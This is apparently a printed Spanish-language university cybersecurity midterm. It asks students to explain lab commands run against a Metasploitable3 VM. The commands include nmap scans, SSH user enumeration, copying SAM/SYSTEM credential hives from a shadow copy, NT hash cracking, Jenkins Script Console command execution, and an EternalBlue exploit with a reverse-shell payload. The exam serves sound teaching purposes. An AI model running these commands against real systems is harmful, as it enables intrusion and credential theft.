

EXAMEN PARCIAL — CIBERSEGURIDAD UNTELS 2026-I

Curso: PET 204 Ciberseguridad

Docente: Oscar Llerena Castro

Modalidad: Presencial — hoja impresa

Duración: 90 minutos

Puntaje total: 20 puntos (1 punto por pregunta)

Apellidos y nombres: _____

Fecha: __ **Nota:** __ / 20

***Instrucciones:** Responda cada pregunta en el espacio asignado. Las preguntas prácticas presentan comandos o bloques de código y piden que explique qué hacen; las conceptuales requieren una explicación breve pero precisa. Está prohibido el uso de dispositivos electrónicos.*

UNIDAD 1 — Jekyll, Git y GitHub Pages (3 puntos)

1. ¿Cuál es el rol de GitHub Actions en el pipeline de publicación del blog Jekyll? Describa brevemente los pasos que ocurren desde que el alumno ejecuta `git push` hasta que el post es visible en el navegador. (1 punto)

2. Dado el siguiente bloque de Front Matter, explique qué hace cada campo y por qué los cuatro son obligatorios en un post de Jekyll: (1 punto)

```
---
title: "Lab 01 - Metasploitable"
date: 2026-06-01 12:00:00 -0500
categories: [lab]
```

```
tags: [virtualbox]
---
```

3. Explique qué hace cada uno de los siguientes comandos y en qué orden deben ejecutarse para publicar un nuevo post en el blog: *(1 punto)*

```
git push
git add .
git commit -m "lab01: add Metasploitable installation post"
```

UNIDAD 2 — Setup de Laboratorio y VirtualBox (5 puntos)

4. ¿Cuál es la diferencia principal entre los modos **NAT** y **NAT Network** en VirtualBox? ¿Por qué el modo NAT simple no es suficiente para el laboratorio de este curso? *(1 punto)*

5. ¿Por qué el modo **Bridged Adapter** es peligroso para las prácticas de este curso? Describa el riesgo concreto que implica usarlo en la red de la universidad. *(1 punto)*

6. ¿Qué es un **snapshot** en VirtualBox? ¿Por qué es obligatorio tomarlo antes de ejecutar cualquier Kill Chain? (1 punto)

7. Explique qué hace cada uno de los siguientes comandos Nmap y qué información proporciona su output: (1 punto)

(a) `sudo nmap -sn 10.0.2.0/24`

(b) `sudo nmap -sV -p 22 10.0.2.15`

8. Al importar el `.ova` de Metasploitable3 en VirtualBox: ¿cuáles son las credenciales del usuario administrador? ¿Qué hace el comando `slmgr.vbs /rearm` y por qué es necesario ejecutarlo al ingresar por primera vez? (1 punto)

UNIDAD 3 — Kill Chains, Metasploit y MITRE ATT&CK (12 puntos)

9. Diferencie los tres tipos de reconocimiento: **pasivo**, **semi-pasivo** y **activo**. Dé un ejemplo de técnica para cada uno. *(1 punto)*

10. Explique qué hace cada flag del siguiente comando y qué tipo de información produce en su output: *(1 punto)*

```
sudo nmap -A -p- 10.0.2.15
```

11. ¿Qué versión de OpenSSH corre en Metasploitable3 y en qué puerto? ¿Por qué esa versión en su configuración por defecto es vulnerable a fuerza bruta? Mencione **dos** medidas de seguridad ausentes. *(1 punto)*

12. Describa qué hace la siguiente secuencia de Metasploit paso a paso. ¿Qué información produce como output al finalizar? *(1 punto)*

```
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 10.0.2.15
set USER_FILE /home/user/usernames.txt
run
```

13. ¿Qué es el **Volume Shadow Copy Service (VSS)**? ¿Por qué se utiliza `vssown.vbs` para acceder a los archivos SAM y SYSTEM si ya se tiene una sesión SSH activa en el sistema? (1 punto)

14. Explique qué hace el siguiente comando y por qué es necesario acceder a los archivos SAM y SYSTEM desde el shadow copy en lugar de copiarlos directamente desde `C:\Windows\System32\config\` : (1 punto)

```
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\S
```

15. Explique qué hace cada flag del siguiente comando de John the Ripper: (1 punto)

```
john --format=NT --wordlist=kaonashi14M.txt hashes.txt --fork=4
```

16. ¿En qué consiste la vulnerabilidad explotada en el **Kill Chain 2 (Jenkins Script Console)**? ¿Por qué se clasifica como riesgo **Crítico**? (1 punto)

17. Dado el siguiente script ejecutado en la Jenkins Script Console, explique qué hace y cuál sería el output esperado al correrlo en Metasploitable3: (1 punto)

```
println "cmd /c whoami".execute().text
```

18. EternalBlue (MS17-010) explota una vulnerabilidad en el protocolo **SMBv1**. ¿Qué nivel de privilegio obtiene el atacante al ejecutar exitosamente este exploit? ¿Qué implica ese nivel de acceso sobre el sistema comprometido? (1 punto)

19. Explique qué hace cada línea de la siguiente secuencia de Metasploit y qué resultado se obtiene al finalizar exitosamente: (1 punto)

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.2.15
set LHOST 10.0.2.9
set payload windows/x64/meterpreter/reverse_tcp
run
```

20. El framework MITRE ATT&CK organiza las acciones del adversario en **tácticas** (el *por qué*) y **técnicas** (el *cómo*). Explique con sus propias palabras la diferencia entre las siguientes tres tácticas y dé **un ejemplo concreto del laboratorio** para cada una: (1 punto)

- **Initial Access** (Acceso Inicial):

- **Credential Access** (Acceso a Credenciales):

- **Privilege Escalation** (Escalación de Privilegios):

Ciberseguridad UNTELS 2026-I — Examen Parcial 01